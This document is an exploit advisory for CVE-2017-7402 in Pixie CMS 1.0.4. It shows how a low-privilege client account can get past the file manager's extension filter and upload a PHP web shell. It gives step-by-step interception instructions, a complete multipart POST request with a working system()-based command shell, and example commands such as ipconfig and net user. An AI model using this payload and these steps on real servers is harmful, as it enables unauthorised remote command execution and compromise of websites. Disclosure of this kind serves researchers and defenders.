Pixie version 1.0.4 suffers from a remote shell upload vulnerability
1f0acf66c9b658bf16eec854d80970ba
# Exploit Title: File Extension Filter Bypass in File Manager Pixie 1.0.4 With Low Privilege # Google Dork: no
# Date: 02-April-2017
# Exploit Author: @rungga_reksya, @dvnrcy, @dickysofficial
# Vendor Homepage: http://www.getpixie.co.uk
# Software Link: https://us.softpedia-secure-download.com/dl/44791fdde14260bc7a8d08df65bcd048/58db4b5c/700044699/webscripts/php/pixie_v1.04.zip
# Version: 1.0.4
# CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H (7.5 - HIGH)# CVE-2017-7402
I. Background:
Pixie is a free, open source web application that will help quickly create your own website. Many people refer to this type of software as a "content management system (cms)", we prefer to call it as Small, Simple, Site Maker.
II. Description:
in Pixie CMS have three types for account privilege for upload:
- Administrator - Can access file manager but restricted extension for file upload.
- Client - Can access file manager but restricted extension for file upload.
- User - Cannot access file manager
Generally Pixie CMS have restricted extension for file upload and we cannot upload php extension. in normally if we upload php file, Pixie CMS will give information rejected like this aUpload failed. Please check that the folder is writeable and has the correct permissions seta.
III. Exploit:
In this case, we used privilege as client and then access to afile managera (http://ip_address/folder_pixie_v1.04/admin/index.php?s=publish&x=filemanager). Please follow this step:
1. Prepare software to intercept (I used burpsuite free edtion).
2. Prepare for real image (our_shell.jpg).
3. Browse your real image on file manager pixie cms and click to upload button.
4. Intercept and change of filename aour_shell.jpga to be aour_shell.jpg.phpa
5. Under of perimeter aContent-Type: image/jpega, please change and write your shell. in this example, I use cmd shell.
6. If you done, forward your edit request in burpsuite and the pixie cms will give you information like this aour_shell.jpg.php was successfully uploadeda.
7. PWN (http://ip_address/folder_pixie_v1.04/files/other/our_shell.jpg.php?cmd=ipconfig)
aaaa
POST /pixie_v1.04/admin/index.php?s=publish&x=filemanager HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.1/pixie_v1.04/admin/index.php?s=publish&x=filemanager
Cookie: INTELLI_843cae8f53=ovfo0mpq3t2ojmcphj320geku1; loader=loaded; INTELLI_dd03efc10f=2sf8jl7fjtk3j50p0mgmekpt72; f9f33fc94752373729dab739ff8cb5e7=poro8kl89grlc4dp5a4odu2c05; PHPSESSID=1ml97c15suo30kn1dalsp5fig4; bb2_screener_=1490835014+192.168.1.6; pixie_login=client%2C722b69fa2ae0f040e4ce7f075123cb18
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------8321182121675739546763935949
Content-Length: 901
-----------------------------8321182121675739546763935949
Content-Disposition: form-data; name="upload[]"; filename="our_shell.jpg.php"
Content-Type: image/jpeg
<?php
if(isset($_REQUEST['cmd'])){
echo "<pre>";
$cmd = ($_REQUEST['cmd']);
system($cmd);
echo "</pre>";
die;
}
?>
-----------------------------8321182121675739546763935949
Content-Disposition: form-data; name="file_tags"
ourshell
-----------------------------8321182121675739546763935949
Content-Disposition: form-data; name="submit_upload"
Upload
-----------------------------8321182121675739546763935949
Content-Disposition: form-data; name="MAX_FILE_SIZE"
102400
-----------------------------8321182121675739546763935949
Content-Disposition: form-data; name="bb2_screener_"
1490835014 192.168.1.6
-----------------------------8321182121675739546763935949--
This is our screenshot from PoC:
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| Upload for valid image
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| Change extension and insert your shell
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| Your shell success to upload on server
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| Example command for ipconfig
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| Example command for net user
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IV. Thanks to:
- Alloh SWT
- MyBoboboy
- @rungga_reksya, @dvnrcy, @dickysofficial
- Komunitas IT Auditor & IT Security Kaskus